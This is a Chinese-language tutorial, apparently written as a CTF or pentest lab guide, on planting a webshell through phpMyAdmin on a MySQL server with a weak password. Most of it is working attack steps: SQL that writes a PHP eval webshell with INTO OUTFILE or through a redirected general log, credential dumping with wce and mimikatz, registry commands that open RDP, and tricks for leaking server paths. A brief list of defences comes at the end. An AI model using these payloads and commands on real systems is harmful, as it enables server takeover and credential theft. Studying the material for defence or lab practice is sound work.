phpmyadmin getshell姿势
字数 1602 2025-08-22 18:37:15
PHPMyAdmin Getshell 技术详解
0x00 前言
PHPMyAdmin 是常用的 MySQL 数据库管理工具,在 CTF 比赛和实际渗透测试中经常遇到 PHPMyAdmin 弱口令或空密码的情况。本教程将详细介绍通过 PHPMyAdmin 获取 WebShell 的各种方法。
实验环境
- 靶机: Windows7 x64 (IP: 192.168.129.129)
- 攻击机: Windows10 x64
- PHP版本: 5.6
- MySQL版本: 5.7
- Apache版本: 2.4
- MySQL密码: root (弱密码)
0x01 常用方法 - SELECT INTO OUTFILE
最常用的方法是使用 SELECT INTO OUTFILE 写入 WebShell,需要知道网站的绝对路径。
步骤
-
查看 MySQL 基础目录:
SELECT @@basedir; -
尝试写入 WebShell:
SELECT '<?php eval($_POST[cmd]); ?>' INTO OUTFILE 'C:/wamp64/www/ma.php'; -
如果失败,检查 secure_file_priv 设置:
SHOW VARIABLES LIKE "secure_file_priv";- 如果值为文件夹目录,则只能修改该目录下的文件
- 如果值为 NULL,则禁止文件操作
- 此值为只读变量,只能通过配置文件修改
0x02 利用日志文件写 Shell
MySQL 5.0+ 版本会创建日志文件,可以通过修改日志全局变量获取 WebShell。
步骤
-
检查日志相关变量:
SHOW VARIABLES LIKE 'general%';general_log: 日志保存状态 (ON/OFF)general_log_file: 日志保存路径
-
开启 general_log 并修改日志路径:
SET GLOBAL general_log = "ON"; SET GLOBAL general_log_file = 'C:/wamp64/www/ma.php'; -
通过日志记录插入一句话木马:
SELECT '<?php eval($_POST[cmd]); ?>'; -
生成的 ma.php 文件将包含恶意代码,可使用中国菜刀等工具连接
0x03 获取管理员密码
如果 MySQL 服务是以管理员权限运行的,获取的 WebShell 也是管理员权限。
密码抓取工具
- wce
- pwdump
- mimikatz
示例使用 wce
- 上传 wce 工具到服务器
- 尝试抓取明文密码
- 如果失败,抓取 hash 值
- 使用 hashcat 或在线工具如 ophcrack 破解 hash
开启 3389 远程桌面
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
0x04 获取网站绝对路径的方法
写入 WebShell 需要知道网站绝对路径,以下是几种获取方法:
1. 单引号爆路径
在 URL 后加单引号(要求单引号未被过滤且服务器返回错误信息):
http://www.xxx.com/news.php?id=1'
2. 错误参数值爆路径
将参数值改为错误值:
http://www.xxx.com/researcharchive.php?id=-1
3. Google 搜索爆路径
使用 site 语法和关键字搜索:
site:xxx.edu.tw warning
site:xxx.com.tw "fatal error"
4. 测试文件爆路径
尝试访问常见测试文件:
http://www.xxx.com/test.php
http://www.xxx.com/phpinfo.php
http://www.xxx.com/info.php
5. PHPMyAdmin 特定文件爆路径
访问 PHPMyAdmin 目录下的特定文件:
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
6. 读取配置文件
如果有文件读取权限,可读取配置文件查找路径:
Windows:
c:\windows\php.ini
c:\windows\system32\inetsrv\MetaBase.xml
Linux:
/etc/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
7. Nginx 错误解析爆路径
在图片地址后加 /x.php(要求 Nginx 存在解析漏洞):
http://www.xxx.com/xx.jpg/x.php
0x05 Linux 环境下的注意事项
在 Linux 系统下尝试日志写 Shell 时可能会遇到权限问题:
- MySQL 用户通常没有网站目录的写权限
- 即使修改了日志路径,也可能无法创建文件
- 解决方案:
- 提升 MySQL 用户权限(不推荐)
- 寻找其他可写目录
- 使用其他方法获取 WebShell
防御措施
- 修改 PHPMyAdmin 默认路径
- 使用强密码
- 限制 PHPMyAdmin 访问 IP
- 设置 MySQL 的 secure_file_priv 为 NULL 或限制目录
- 关闭 general_log 或限制日志目录
- 做好文件权限控制
总结
通过 PHPMyAdmin 获取 WebShell 的主要方法包括:
- 使用 SELECT INTO OUTFILE 直接写入
- 利用 MySQL 日志功能写入
- 结合其他漏洞获取路径信息
成功的关键在于:
- 获取正确的网站绝对路径
- 拥有足够的文件写入权限
- 了解服务器环境配置